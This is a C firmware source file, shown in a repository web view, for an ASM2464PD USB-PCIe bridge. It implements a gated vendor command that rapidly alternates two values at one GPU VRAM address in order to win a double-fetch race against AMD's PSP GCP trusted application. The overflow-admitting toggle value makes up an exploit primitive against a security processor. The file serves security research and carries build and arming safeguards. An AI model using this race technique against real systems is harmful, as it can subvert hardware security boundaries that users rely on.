aboutsummaryrefslogtreecommitdiffstats
path: root/bridge/build/gcp_hammer.c
blob: ca86776b35416d8e13c3861a6e80f170c9fac017 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
/*
 * gcp_hammer.c — ASM2464PD custom vendor-command handler: PCIe VRAM "hammer".
 *
 * PURPOSE
 *   Research tool for a double-fetch / TOCTOU experiment against the AMD PSP
 *   GCP TA (see amd-psp-re FINDING-GCP-FE09 Addenda 70/71).  It repeatedly
 *   writes one 32-bit word at a FIXED PCIe (GPU VRAM) address, alternating
 *   between two caller-supplied values, so that a concurrently-executing PSP
 *   command sees different values on independent re-reads of cmdBuf[0x818].
 *
 *   It does NOTHING except that tight write loop.  It is not wired into any
 *   normal path and cannot run unless (a) the firmware was built with
 *   -DGCP_HAMMER_BUILD, (b) the host sends the dedicated vendor opcode, AND
 *   (c) the 16-byte CDB carries the exact 32-bit arming magic.  Absent any of
 *   these it is a no-op that returns an error byte.
 *
 * SAFETY (defence-in-depth; all four must hold to do anything):
 *   1. Compile-time: the whole file is #error unless GCP_HAMMER_BUILD is set,
 *      so a stock production build never contains it.
 *   2. Opcode: uses vendor opcode 0xEB, which is not an opcode the stock
 *      firmware or tinygrad's usb.py ever emits (E2/E4/E5/E7/8A are the live
 *      ones).  A stray/garbage CDB will not select it.
 *   3. Arming magic: CDB[2..6] must equal 0x48 0x4D 0x52 0x01 ("HMR\x01").
 *      A mis-decoded or replayed command without the magic returns 0xEE and
 *      touches no PCIe register.
 *   4. Bounded: the iteration count is clamped to HAMMER_MAX_ITERS so the
 *      8051 can never spin forever and wedge USB servicing.
 *
 * CDB LAYOUT (16 bytes, landed at XDATA 0x910D by the USB/SCSI front end):
 *   [0]      0xEB          opcode (selected by the dispatch hook)
 *   [1]      flags         bit0=1 run; else no-op (reserved for future subfns)
 *   [2..6]   48 4D 52 01   arming magic "HMR\x01" (big-endian in the CDB)
 *   [6..10]  AA BB CC DD   target PCIe address bits [31:0], big-endian
 *   [10]     EE            target PCIe address bits [39:32] (0 for <4 GiB BAR)
 *   [11]     n/a           reserved (0)
 *   [12..14] II JJ         iteration count, big-endian, 16-bit (clamped)
 *   [14..16] n/a           reserved (0)
 *
 *   valA ("large") and valB ("small") are fixed below to the two values the
 *   experiment toggles cmdBuf[0x818] between; change HAMMER_VAL_A/_B to retune.
 *   They are compile-time constants on purpose: the host cannot be tricked into
 *   making this write arbitrary data to arbitrary VRAM beyond the two vetted
 *   constants + the one address it already fully controls via the normal path.
 *
 * RETURN: status byte in r7 (0xA5 = completed run, 0xEE = safety reject), matching
 *         the stock vendor-handler convention (cf. the E7 handler's `mov r7,#0xFF; ret`).
 *
 * WARNING: this issues raw PCIe memory-write TLPs to a caller-named address.
 * Only ever build/flash this on a dedicated research bridge.  Validate in the
 * repo's 8051 emulator (emulate/) before flashing hardware.
 */

#ifndef GCP_HAMMER_BUILD
#error "gcp_hammer.c must only be compiled into an explicit research build (-DGCP_HAMMER_BUILD)."
#endif

#include "types.h"
#include "registers.h"

/* Toggle values. 0xFFFFFFFB = the "large" (overflow-admitting) value that makes
 * QueryChannelType's offset bound pass; 0x00001000 = a "small" value that keeps
 * FE0A's trailing memcpy/GenerateOMAC in-bounds. Both are inert as data. */
#define HAMMER_VAL_A   0xFFFFFFFBUL   /* "large" */
#define HAMMER_VAL_B   0x00001000UL   /* "small" */

/* Hard cap on loop iterations (each iteration = 2 dword writes). Keeps the
 * 8051 responsive; ~0x8000 pairs is a few ms, long enough to blanket one PSP
 * command execution, short enough not to stall USB. */
#define HAMMER_MAX_ITERS   0x8000U

/* CDB window in XDATA. CDB[n] == *(0x910D + n). */
#define CDB(n)   XDATA_REG8(0x910D + (n))

/* Prime one 32-bit DATA word into the TLP data registers (DATA_0=MSB .. DATA_3=LSB,
 * matching pcie_pio.h byte order) and fire a posted write TLP. Address registers
 * (0xB218..0xB21F) and FMT/TYPE/LENGTH/BYTE_EN must already be primed by the caller. */
static void tlp_write_fixed(uint32_t v) {
    XDATA_REG8V(0xB220) = (uint8_t)(v >> 24);  /* DATA_0 = MSB  */
    XDATA_REG8V(0xB221) = (uint8_t)(v >> 16);  /* DATA_1       */
    XDATA_REG8V(0xB222) = (uint8_t)(v >> 8);   /* DATA_2       */
    XDATA_REG8V(0xB223) = (uint8_t)(v);        /* DATA_3 = LSB */
    XDATA_REG8V(0xB296) = 0x07;                /* clear status */
    XDATA_REG8V(0xB254) = 0x0F;                /* trigger (posted write) */
}

/* Entry point: the dispatch hook lcalls here when CDB[0]==0xEB.
 * Status byte returned in r7 (firmware convention); each return site sets it via
 * a proper multi-line __asm block (verified in the generated .asm to emit a real
 * `mov r7,#imm` with nothing clobbering it before the epilogue `ret`). */
void gcp_hammer_handler(void) {
    uint16_t iters;
    uint16_t i;

    /* --- safety gate 3: arming magic --- */
    if (CDB(2) != 0x48 || CDB(3) != 0x4D || CDB(4) != 0x52 || CDB(5) != 0x01) {
        __asm
            mov r7, #0xEE                 /* reject, no PCIe access */
        __endasm;
        return;
    }

    /* flags bit0 must be set to actually run */
    if ((CDB(1) & 0x01) == 0) {
        __asm
            mov r7, #0xEE
        __endasm;
        return;
    }

    /* iteration count, clamped (safety gate 4) */
    iters = ((uint16_t)CDB(12) << 8) | CDB(13);
    if (iters == 0 || iters > HAMMER_MAX_ITERS)
        iters = HAMMER_MAX_ITERS;

    /* --- prime the PCIe TLP engine for a single-dword memory write --- */
    /* NOTE: confirm these four priming values against your known-good VRAM
     * write path (trace one adev.vram.view[...] = ... write, or lift from
     * pcie_bringup/test_pcie). They are the ONLY values that are not yet
     * verified in this file; everything else follows pcie_pio.h exactly. */
    XDATA_REG8V(0xB210) = 0x60;   /* FMT/TYPE: 64-bit memory write (MWr64) -- CONFIRM */
    XDATA_REG8V(0xB216) = 0x01;   /* LENGTH = 1 dword                     -- CONFIRM */
    XDATA_REG8V(0xB217) = 0x0F;   /* first-dword byte enables = 0xF       -- CONFIRM */

    /* target address (fixed; auto-increment is NOT used -- we re-hit one word) */
    XDATA_REG8V(0xB218) = CDB(6);   /* addr[31:24] */
    XDATA_REG8V(0xB219) = CDB(7);   /* addr[23:16] */
    XDATA_REG8V(0xB21A) = CDB(8);   /* addr[15:8]  */
    XDATA_REG8V(0xB21B) = CDB(9);   /* addr[7:0]   */
    XDATA_REG8V(0xB21C) = CDB(10);  /* addr[39:32] */
    XDATA_REG8V(0xB21D) = 0x00;     /* addr[47:40] */
    XDATA_REG8V(0xB21E) = 0x00;     /* addr[55:48] */
    XDATA_REG8V(0xB21F) = 0x00;     /* addr[63:56] */

    /* --- the hammer: alternate A (large) / B (small) on the SAME word --- */
    for (i = 0; i < iters; i++) {
        tlp_write_fixed(HAMMER_VAL_A);
        tlp_write_fixed(HAMMER_VAL_B);
    }

    __asm
        mov r7, #0xA5                     /* completed */
    __endasm;
}